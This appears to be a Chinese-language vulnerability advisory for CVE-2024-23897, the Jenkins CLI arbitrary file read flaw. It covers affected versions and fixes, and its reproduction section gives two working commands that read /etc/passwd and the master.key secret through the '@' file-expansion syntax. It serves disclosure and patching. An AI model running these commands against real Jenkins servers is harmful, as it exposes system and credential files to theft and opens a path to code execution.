漏洞描述
Jenkins是基于Java开发的一种持续集成工具。2024年1月25日,Jenkins 官方披露 CVE-2024-23897 Jenkins CLI 任意文件读取漏洞致。Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,攻击者可利用相关特性读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合其他功能等可能导致任意代码执行。
Jenkins处理CLI命令的命令解析器中的expandAtFile功能存在任意文件读取漏洞,未经身份认证的远程攻击者利用该漏洞可以读取部分文件的有限行内容,攻击者经过身份验证或目标Jenkins更改了默认”Security”配置可以通过该漏洞读取任意文件,攻击者进一步利用该漏洞并结合其他功能可能导致任意代码执行。
漏洞评级
严重
漏洞编号
CVE-2024-23897
影响范围
Jenkins 2.441 及更早版本
LTS 2.426.2 及更早版本
漏洞复现
java -jar jenkins-cli.jar -s http://IP:9095/ who-am-i @/etc/passwd
读取/etc/passwd
读取master.key
java -jar jenkins-cli.jar -s http://IP:9095/ who-am-i @/var/jenkins_home/secrets/master.key
安全建议
修复说明:
Jenkins 2.442、LTS 2.426.3 禁用命令解析器功能,该功能将@参数中后跟文件路径的字符替换为 CLI 命令的文件内容。
如果此修复出现问题,请通过将Java 系统属性hudson.cli.CLICommand.allowAtSyntax设置为 来禁用此更改true。强烈建议不要在非 Jenkins 管理员用户可访问的任何网络上执行此操作。
解决方法:
禁用对 CLI 的访问有望完全防止利用。强烈建议无法立即更新到 Jenkins 2.442、LTS 2.426.3 的管理员执行此操作。应用此解决方法不需要重新启动 Jenkins。
官方链接
https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
版权归原作者 粉刷本领强 所有, 如有侵权,请联系我们删除。